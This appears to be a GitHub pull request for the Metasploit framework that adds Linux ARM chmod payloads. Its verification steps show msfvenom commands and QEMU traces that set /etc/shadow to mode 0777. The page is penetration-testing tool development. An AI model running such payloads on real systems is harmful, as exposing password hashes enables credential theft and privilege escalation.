Skip to content

Conversation

@bcoles
Copy link
Contributor

@bcoles bcoles commented Jan 5, 2026

Add Linux ARM 32-bit / 64-bit Little Endian chmod payloads.

Tested with QEMU.

Verification

ARM Little Endian (armle) (32-bit)

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/armle/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-arm -strace ./chmod.elf ; ls -la /etc/shadow
1132678 chmod("/etc/shadow",0777) = -1 errno=1 (Operation not permitted)
1132678 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-arm -strace ./chmod.elf ; ls -la /etc/shadow
1132685 chmod("/etc/shadow",0777) = 0
1132685 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.

ARM (aarch64) (64-bit)

Generate a Linux Chmod payload (with optional NOP sled):

./msfvenom -n 100 --format elf -p linux/aarch64/chmod FILE="/etc/shadow" MODE="0777" > chmod.elf

Execute the payload with QEMU:

$ /home/user/qemu/build/qemu-aarch64 -strace ./chmod.elf ; ls -la /etc/shadow
1132844 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = -1 errno=1 (Operation not permitted)
1132844 exit(0)
-rw-r----- 1 root shadow 1874 Jan 24  2025 /etc/shadow
$ sudo /home/user/qemu/build/qemu-aarch64 -strace ./chmod.elf ; ls -la /etc/shadow
1132849 fchmodat(AT_FDCWD,"/etc/shadow",0777,0) = 0
1132849 exit(0)
-rwxrwxrwx 1 root shadow 1874 Jan 24  2025 /etc/shadow

Note the payload was executed successfully and the file permissions were changed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant